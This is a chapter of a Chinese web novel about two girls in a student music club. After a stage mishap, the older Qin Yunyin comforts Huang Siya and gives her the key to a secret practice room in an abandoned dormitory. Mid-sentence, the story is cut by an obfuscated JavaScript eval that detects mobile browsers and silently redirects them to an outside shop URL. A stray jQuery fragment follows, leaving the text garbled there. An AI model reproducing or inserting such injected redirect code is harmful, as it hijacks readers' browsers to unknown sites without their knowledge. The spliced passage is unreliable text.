“每一次都在徘徊孤单中坚强,每一次就算很受伤也不闪泪光。我知道我一直有双隐形的翅膀,带我飞,飞过绝望。”
秦韵音的指尖落在琴键上时,流动的音符便先一步漫了开来。
她的十指在黑白琴键上起落翻飞,像一群振翅的蝴蝶,把那段悠扬婉转的间奏揉进舞台暖融融的空气里,顺着灯光的缝隙,一点点往台下的观众席飘去。
不远处的指挥手腕轻轻一扬,银亮的指挥棒在空中划出一道优美的浅弧,尖端稳稳落定,恰好停在黄思雅的面前。
刹那间,几束聚光灯同时收拢过来,像一捧暖而亮的潮水,将她整个人轻轻托在中央。
黄思雅深吸一口气,胸腔里灌满了带着松香与舞台地毯气息的微风,脸上那抹练了无数次的灿烂笑容没有半分动摇。
她将双手轻轻贴在胸前,仿佛一个在暮色里对着星光祷告的虔诚修女,顺着从琴键上淌下来的旋律,缓缓抬眼,对着话筒唱出了那句在心里默念过千百遍的歌词:
“我终于看到,所有梦想都开花,追逐的年轻歌声多嘹亮。我终于翱翔,用心凝望不害怕,哪里会有风就飞多远吧。”
可就在那一瞬间,斜后方忽然扫来一束格外刺眼的灯光,如同一根细锐的针,猝不及防地扎进她的眼底。
黄思雅下意识地偏头想要躲开,喉咙里那股攒足了的气息忽然乱了节奏,等她反应过来时,本该稳稳托住的高音已经破了——
那声带着颤意的走音,好似一粒细沙落进盛满温水的玻璃杯里,在整个安静下来的舞台上,清清楚楚地漾开。
立冬刚过,风里已经裹上了一层薄薄的凉意。
街边的行人都换上了厚实的棉衣,把领口竖起来挡住往脖子里钻的冷风。
即便到了正午,头顶那轮太阳也早没了盛夏时的滚烫,只是安安静静地悬在天上,洒下的光暖得克制,连落在人的肩头上都轻了几分。
黄思雅换好奶茶店的工作服,手里攥着抹布,慢慢擦着几张临窗的茶几。
她的眼神是空的,指尖擦过桌面木纹的触感像隔着一层薄雾,整个人还沉在昨晚舞台上那片晃眼的灯光里走不出来。
等她回过神时,手里的抹布已经滑了出去,“啪”的一声落在冰凉的地砖上。
秦韵音抱着一摞打包杯从杂物间走出来,恰好看见她蹲在原地,目光直直落在那块抹布上,像被什么东西勾住了一样。
她轻轻走过去,弯腰把抹布捡起来,叠得整整齐齐放在旁边的台面上,抬手拍了拍黄思雅的肩膀,掌心的温度透过皮肤钻去心里:
“没关系的,你第一次和音乐社的大家一起上台,还站在主唱的位置——你已经比很多站在台下不敢开口的人出色太多了。”
黄思雅抬起头看向她,嘴唇动了动,最后只挤出一个很淡的笑,那笑意还没漫到眼底就散了。
她慢慢走回前台,把胳膊撑在冰凉的台面上,下巴抵着手背,对着窗外空荡荡的街道愣愣出神。
她从前以为这会是个刚好的机会,只要站在那片灯光里,把练了无数次的歌唱出来,就能让所有人听见自己的声音,就能像从前那样变成人群里被目光围住的人。
可她没料到,这场她在心里彩排了几百遍的“亮相”,最后没成照亮自己曙光,反倒成了一道轻轻硌在心上的疤痕。
黄思雅在心里轻轻叹了口气。直到这一刻她才忽然明白,现实从来不会像幕后那样,给你一遍又一遍重来的机会。
从前那些一帆风顺的日子,那些开口就被夸奖的时刻,原来都只是浮在水面上的光斑,风一吹就散了。
所谓能稳稳站住的未来,从来都不是靠一次耀眼的登台就能换来的。
“咳咳,小姐?小姐?”
一个带着几分不耐的声音在耳边响起,把她从漫无边际的思绪里拽了出来。
黄思雅猛地转头,看见一位女士站在前台,指尖轻轻敲着玻璃台面,眉头微微蹙着,脸上是等了很久的困惑。
“啊……不好意思,请问您需要点什么?”
黄思雅立刻直起身,把那点还没消散的失神压下去,露出惯常的礼貌笑容,可她自己都能感觉到,那笑意有点僵硬,宛若被风冻住了片刻。
“我站在这里至少半分钟了。”
女士的声音带着点锐利:
“你们店里的店员上班的时候,都可以这样无视站在台前的顾客吗?”
黄思雅的指尖在台面上轻轻攥了一下,她知道是自己不对,只能微微弯了弯腰,认认真真地道歉:
“实在对不起,我刚才走神了。今天风凉,您要不要试试我们的姜枣茶,暖着手也暖身子。”
对面的人却没接话,只是抬手慢慢摘下了墨镜,目光扫过来的时候,带着点明明白白的鄙夷:
“小姐,你是不是该反思一下自己的工作态度?我很赶时间的,你知不知道一分钟对我来说有多重要?”
一丝闷意从黄思雅的胸口浮上来,她的眼睛里掠过一点藏不住的委屈,刚要开口说一句“我已经道歉了”,身后忽然传来秦韵音的声音。
她从卫生间走出来,脚步稳稳的,走到黄思雅身边,对着那位女士微微颔首,语气平和却不软弱:
“实在不好意思,她是刚来没多久的新人,方才分心了,您别和她计较。您既然赶时间,在这里多费口舌反而更耽误事,不如直接告诉我们您想点什么?”
说着,秦韵音在身后轻轻扯了扯黄思雅的衣角,示意她别说话,紧接着又补了一句:
“今天您点的所有东西,我们都给您打半价,就当是我们为刚才的怠慢赔罪了。”
那位女士打量了她们两眼,没再继续纠缠,随口点了一杯热奶茶,付了钱,推开门走了。
风从门口钻进来,掀动了台面上的点单小票,晃了两下才稳稳落定。
看着她的身影沿着街边越走越远,最后消失在梧桐树的后面,黄思雅转过身,声音里带着点没压下去的不满:
“韵音姐,你干嘛对她这么客气?明明是她一直在揪着小事不放,根本就是无理取闹。”
秦韵音走到水池边,拧开龙头清洗刚用过的玻璃杯,水流声细细地响着,她没回头,声音顺着溅起来的水花飘过来:
“思雅,先不说这件事本来就是你走神在先。她说话是难听了点,但和这种人据理力争没有意义,你就算和她吵个面红耳赤,非要分出个谁对谁错,最后又能得到什么呢?”
黄思雅没太懂这话里的意思,她轻轻走到秦韵音身后,看着她的背影:
“可难道我们就只能任由这样不讲理的人在社会里作威作福吗?”
秦韵音把洗得透亮的玻璃杯拿起来,用干净的布慢慢擦干杯壁上的水珠,转过身把杯子整整齐齐地放进身后的柜子里。
她抬手拍了拍黄思雅的肩膀,脸上的笑意还是温温和和的:
“这世上的形形色色人太多了,各有各的脾气,各有各的想法,我们不可能站在高处把每个人都打量一遍,也没必要为了几句难听的话,把自己的时间都耗进去。与其和他们闲论长短,不如多花点心思把自己的路走稳。等你以后站得足够高了,这些人和话,自然就够不着你了。”
黄思雅望着她的眼睛,那里面没有年轻人的着急忙慌,只有被日子慢慢磨出来的从容与成熟,每一道眼神里都藏着些她还没经历过的故事。
她盯着秦韵音脸上的笑意,慢慢点了点头,转过身,重新站回了前台的位置。
秦韵音的目光落在她被窗外的光勾勒出来的背影上,忽然就看见了很多年前的自己——那时候也一样年轻气盛,受了一点委屈就要争辩到底,也是摔过了好几次,才慢慢明白了那些道理。
她不想让眼前这个喜欢唱歌的小姑娘,再把自己当年摸爬滚打的弯路重新走一遍。
她拿起布,慢慢擦着手里的玻璃杯,杯壁上的光被擦得越来越亮,她忽然开口,声音很轻:
“我平时听你哼歌,气息都很稳。都说曲不离口,你除了在音乐社排练,平时还有别的时间练习吗?”
黄思雅愣了一下,指尖无意识地轻轻叩着冰凉的台面,发出很轻的哒哒声:
“在学校里肯定挤不出时间,下课那点空隙大家都在赶作业,教室里安安静静的,根本没法开口。回家之后倒是关在房间里练过几次,但每次放学都已经很晚了,怕吵到家人和邻居,也不敢真的放开嗓子。”
窗外的风卷着一片落下来的梧桐叶,贴着玻璃滑了过去,阳光慢慢移动,在台面上投下一小片暖黄的光斑。
秦韵音看着她垂着眼帘的样子,指尖在杯壁上停了停,没说话,只是把擦好的杯子轻轻放到了最顺手的那一层。
黄思雅的目光又飘向了远处,街边的路灯还没亮,可她好像又看见了昨晚舞台上那片晃眼的光。
第二天晚上,放学铃准时撞进冬风里,余音裹着凉意漫过整栋教学楼。
方才还浸在暮色里安安静静的走廊,瞬间涌满了裹着厚外套的人影,脚步声、笑闹声混着书包带的摩擦声,把傍晚的冷空气搅得暖了几分。
黄思雅正和身边的同学凑在一起,笑着聊晚上刚考完的数学压轴题,指尖还在比划着解题的步骤,刚踏出教室门的瞬间,目光忽然顿住了。
走廊外的窗边站着个熟悉的身影,风把她垂在肩侧的发梢吹起来半寸,衬着身后慢慢沉下去的天空,好似一幅早就在这里等候多时的画。
“韵音姐?你怎么在这里?”
黄思雅的声音里带着点猝不及防的惊讶,连和同学说笑的余韵都还没完全散去。
秦韵音微微转过头,月光刚好从走廊尽头的玻璃窗斜斜切进来,她从口袋里掏出一把钥匙,细碎的银光在月色下轻轻晃了晃,像落了颗小小的星子。
她没说多余的话,只是伸手轻轻牵住黄思雅的手腕,掌心的温度隔着两层薄毛衣传过来,只留了一句很轻的“跟我来”。
放学的主街上永远是熙熙攘攘的,路灯次第亮起来,把攒动的人影拉得很长,学生们的笑闹声把整条街填得满满当当。
可秦韵音却牵着她的手,拐过两个路口,绕开人流,走进了一条僻静的小路。
青石板上落满了梧桐的枯叶,踩上去时发出了很轻的脆响,道旁的灌木丛里时不时传来几声野猫蹭过枝叶的窸窣,风从巷口穿过来,带着点旧书页角的味道。
黄思雅四下打量着周围的砖墙和爬藤,在这所学校待了这么久,她竟从来不知道还有这样一条藏在热闹背后的小路。
没走多久,她们在一幢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792579|210443||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
老楼前停住了脚步。
和远处教学楼亮着的层层灯火比起来,这里安安静静的,连半扇窗都没有透出灯光,也听不见半点人声。
深绿色的藤蔓爬满了斑驳的外墙,墙皮在经年累月的风里剥落了好几块,露出底下浅灰色的砖瓦,窗框上的玻璃碎了大半,缺口处留着被风雨磨钝的毛边,像一个被世界暂时遗忘的角落,默默地立在暮色里。
“你带我来这里做什么?”
黄思雅下意识地缩了缩脖子,风从楼的缝隙里钻出来,擦过耳尖,她的声音里带着点不易察觉的轻颤:
“总不会大晚上拉我来这里探险吧?”
秦韵音偏过头笑了,眼底的月光跟着晃了晃:
“这是学校废弃好几年的旧宿舍楼,哪来的什么妖魔鬼怪。”
她抬手拿那把亮着银光的钥匙,对准锈迹斑斑的锁孔轻轻插进去,手腕微微一转,“咔嗒”一声轻响,重得发沉的铁门便被缓缓推开了,几缕薄灰顺着晚风慢悠悠地飘出来,在月光下甚至摸得着影子。
秦韵音抬手在面前轻轻挥了挥,把浮尘扫开,回头看向黄思雅,眼底藏着点小小的、秘而不宣的笑意:
“我带你去个好地方。”
黄思雅沉默地跟在她身后往里走,走廊的水泥地上散落着几本卷边的旧课本,还有几支早就写不出墨的笔,靠窗的位置堆着几张掉了漆的旧课桌,桌腿歪歪扭扭地靠着墙,款式老得像是上个世纪的东西。
头顶的灯泡早就坏了大半,仅剩的那盏也在黑暗里时不时发出几声电流的滋滋轻响,不知是不是有人在暗处轻轻地敲着什么。
可秦韵音走得很稳,脚步熟悉得像在自己家的客厅里,七拐八拐就上了三楼,显然已经在这里走过了无数次。
最后,她在走廊最深处的一扇宿舍门前停住了脚步。
秦韵音缓缓拧动把手,门刚推开一条缝,一阵淡淡的、带着阳光和柑橘的芳香就从里面漫了出来,和走廊里灰尘的味道完全不同,格格不入得像另一个世界。
她抬手按下门边的开关,暖黄色的光晕瞬间从门里溢出来,犹如一捧温水,瞬间漫过了她们脚边的地面。
黄思雅站在门口愣了愣,才看清房间里的模样——完全不是外面的那副破败不堪,没有积灰的上床下桌,靠墙立着一个擦得干干净净的书柜,窗边摆着一张铺了格子桌布的精致小桌,半扇玻璃窗向外敞开着,晚风刚好能顺着缝隙吹进来,带着外面青草的香气。
整个房间一尘不染,分明是每天都有人来打扫的样子,根本看不出已经被废弃了好几年。
秦韵音从柜子里拿出一瓶清新剂,对着空气轻轻喷了两下,水雾在暖光里散成细碎的颗粒,她朝黄思雅挥了挥手,示意她进来。
黄思雅抬步跨过门槛,目光在房间里转了一圈,忍不住开口问:
“这到底是什么地方?怎么里面和外面看着完全不一样?”
秦韵音抬手擦了擦桌面根本不存在的浮尘,把肩上的书包轻轻放到桌角,发出很轻的一声闷响:
“这是我以前专门来练唱谱的地方。你别以为我只弹钢琴,乐理和气息这些东西,从来都不是只靠琴键就能练出来的。”
她说着转过身,把那把还带着点她掌心温度的钥匙,轻轻放到黄思雅的手心里。
金属的凉意贴着皮肤,混着一点暖,她的声音很轻,却清清楚楚落在房间的每一寸空气里:
“你之前说找不到地方放开嗓子唱歌,学校的活动室都有固定的使用时间,申请起来要填一堆表,还总有人进进出出的。这是以前老沈特意留给我的钥匙,现在我用得少了,你拿着吧。”
“啊?你以前……天天都在这里练习吗?”
黄思雅走到玻璃边,推开半扇窗户,远处教学楼的灯火星星点点落在眼底,风把她的刘海吹起来一点:
“这里这么偏,晚上寂静无声的,你一个人待着,不会觉得瘆人吗?”
秦韵音笑着摆了摆手,麻花辫随着动作轻轻晃了晃:
“这里好就好在没人来,不用怕唱到高音的时候被人听见,也不用担心练到太晚打扰到别人,关上门,整个房间就只剩你和你的声音,多自在。”
她轻轻走到黄思雅面前,两个人的距离近得能闻见对方身上护手霜的香气,垂在胸前的麻花辫几乎要蹭到黄思雅的袖口。
秦韵音的声音放得更柔了,像晚风轻轻擦过窗沿:
“都说台上一分钟,台下十年功。你看我现在坐在琴凳上好像弹得轻轻松松,其实从前为了练稳每一段间奏,我私底下对着节拍器一遍一遍地重复,指尖磨得发红也没停下来过。一次舞台上的紧张失误算不了什么,等你在这里把每一句歌词都唱到刻进骨子里,下次再站到聚光灯下,就再也不会慌了。”
黄思雅低头看着手心里那把泛着银光的钥匙,金属的凉意慢慢被掌心的温度焐热,她指尖微微收拢,把钥匙紧紧攥在手里,抬眼看向秦韵音,眼底漫开的笑意赤诚又明亮,像把此刻房间里所有的暖光,都盛在了这双眼睛里。
窗外的月光慢慢移进来,落在她们交叠的影子上,远处教学楼的喧闹声隔着半条小路飘过来,可这个藏在旧楼里的小房间,却没有半分熙攘,如同一个只属于她们的、装满了歌声和希望的秘密。